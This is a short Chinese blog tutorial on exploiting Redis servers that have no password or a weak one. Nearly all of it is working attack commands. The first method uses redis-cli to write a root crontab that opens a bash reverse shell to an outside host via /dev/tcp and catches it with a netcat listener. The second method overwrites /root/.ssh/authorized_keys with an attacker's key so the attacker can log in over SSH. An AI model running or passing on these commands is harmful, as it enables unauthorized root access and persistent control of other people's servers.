• redis弱密码漏洞利用


    背景:

    redis无认证,或者弱密码,可以成功连接到redis服务器

    反弹shell拿到的权限取决于redis的启动账号

    操作:

    1. Centos7安装redis客户端

    #yum install redis      --查看是否有redis   yum 源
    #yum install epel-release    --下载fedora的epel仓库
    # yum install redis    -- 安装redis数据库
    

    【漏洞利用方法1 写crontab,反弹shell】

    2.连接redis服务器,执行命令

    #redis-cli -h 10.1.1.2 -a 123456 //如果没有密码,不用添加-a参数
    10.1.1.2:6379> config set dir /var/spool/cron
    OK
    10.1.1.2:6379> config set dbfilename root
    OK
    10.1.1.2:6379> set xxoo "
    
    */1 * * * * /bin/bash -i >& /dev/tcp/10.1.1.1/1234 0>&1
    
    "
    10.1.1.2:6379>save
    OK

    上面的方法是需要先连接到redis服务器,然后再执行命令,也可以直接执行命令,无需连接

    #echo -e "
    
    */1 * * * * /bin/bash -i >& /dev/tcp/10.1.1.1/1234 0>&1
    
    "|redis-cli -h 192.168.118.129 -a 123456 -x set 1
    #redis-cli -h 192.168.118.129 -a 123456 config set dir /var/spool/cron/
    #redis-cli -h 192.168.118.129 -a 123456 config set dbfilename root
    #redis-cli -h 192.168.118.129 -a 123456 save  

    3.在 10.1.1.1上执行

    #nc -l -p 1234 -vv //监听1234端口

    很快就能收到shell

    【漏洞利用方法2 写authorized_keys 实现无密码登录】

     执行命令如下:

    127.0.0.1:6379>flushall
    OK
    
    127.0.0.1:6379>config set dir /root/.ssh/
    OK
    
    127.0.0.1:6379>config set dbfilename authorized_keys
    OK
    
    127.0.0.1:6379>set xxoo "
    
    
    ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDxna91qSLsy9sbYSZNYMpe0root@localhost.localdomain
    
    "
    OK
    
    127.0.0.1:6379>save
    OK

    然后ssh 连接目标服务器即可

  • 相关阅读:
    @codeforces
    @atcoder
    @loj
    @atcoder
    @atcoder
    @loj
    @atcoder
    @atcoder
    @atcoder
    @uoj
  • 原文地址:https://www.cnblogs.com/Kevin-1967/p/8940137.html
Copyright © 2020-2023  润新知